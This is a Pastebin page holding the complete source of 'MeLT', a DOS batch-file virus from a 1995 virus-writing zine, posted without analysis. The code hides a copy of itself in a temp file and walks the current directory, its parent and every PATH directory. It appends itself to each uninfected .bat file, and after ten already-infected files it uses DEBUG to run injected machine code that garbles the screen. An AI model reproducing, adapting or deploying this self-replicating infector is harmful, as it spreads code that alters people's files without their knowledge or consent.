Advertisement
FlyFar

Batch virus "MeLT" - Wavefunc - Second Issue | Sept. 2 1995

Mar 12th, 2023
871
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Batch 1.54 KB | Cybersecurity | 0 0
  1. @if not '%0==' if '%_melt%==' goto meltbeg
  2. ::---- dummy host --------
  3. @echo off
  4. echo Hello World!
  5. ::---- end dummy host ----
  6.  
  7. @goto MeLTend [MeLT_2a]
  8. :MeLTbeg
  9. @echo off%_MeLT%
  10. if '%1=='MeLT goto MeLT%2
  11. if not exist %comspec% set comspec=%_MeLT%command
  12. %comspec% /e:5000 /c %0 MeLT vir
  13. set MeLTcl=%1 %2 %3 %4 %5 %6 %7 %8 %9
  14. call %0 MeLT rh
  15. set _MeLT=
  16. set MeLTcl=
  17. goto MeLTend
  18. :MeLTrh
  19. set _MeLT=x
  20. %0 %MeLTcl%
  21. :MeLTvir
  22. set MeLTH=%0
  23. if not exist %_MeLT%%temp%\nul set temp=%tmp%
  24. if exist %temp%\MeLT_2a goto MeLTrun
  25. %0 MeLT fnd . %path%
  26. :MeLTfnd
  27. shift%_MeLT%
  28. if '%2==' exit MeLT
  29. set MeLT=%2\%MeLTH%.bat
  30. if not exist %MeLT% set MeLT=%2\%MeLTH%
  31. if not exist %MeLT% set MeLT=%2%MeLTH%.bat
  32. if not exist %MeLT% set MeLT=%2%MeLTH%
  33. if not exist %MeLT% goto MeLTfnd
  34. find "MeLT"<%MeLT%>%temp%\MeLT_2a
  35. attrib %temp%\MeLT_2a +h
  36. :MeLTrun
  37. %MeLTH% MeLT s . .. %path%
  38. :MeLTs
  39. shift%_MeLT%
  40. if '%2==' exit MeLT
  41. for %%a in (%2\*.bat %2*.bat) do call %MeLTH% MeLT inf %%a
  42. goto MeLTs
  43. :MeLTinf
  44. find /i "MeLT"<%3>nul
  45. if not errorlevel 1 goto MeLTno
  46. echo @if not '%%0==' if '%%_melt%%==' goto meltbeg>MeLT.t
  47. type %3>>MeLT.t
  48. echo.>>MeLT.t
  49. type %temp%\MeLT_2a>>MeLT.t
  50. move MeLT.t %3>nul
  51. exit MeLT
  52. :MeLTact - flash-melt screen text then put back to normal
  53. echo e 100 BA D0 07 BB 00 B8 8E C3 8B CA 33 FF 26 8B 05 FE>MeLT.t
  54. echo e 110 C0 FE C4 26 89 05 47 47 E2 F2 FE 06 24 01 75 E8>>MeLT.t
  55. echo e 120 B4 4C CD 21 00>>MeLT.t
  56. echo g>>MeLT.t
  57. debug<MeLT.t>nul
  58. del MeLT.t
  59. exit MeLT
  60. :MeLTno
  61. set MeLTC=%MeLTC%1
  62. if %MeLTC%==1111111111 goto MeLTact
  63. :MeLTend
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement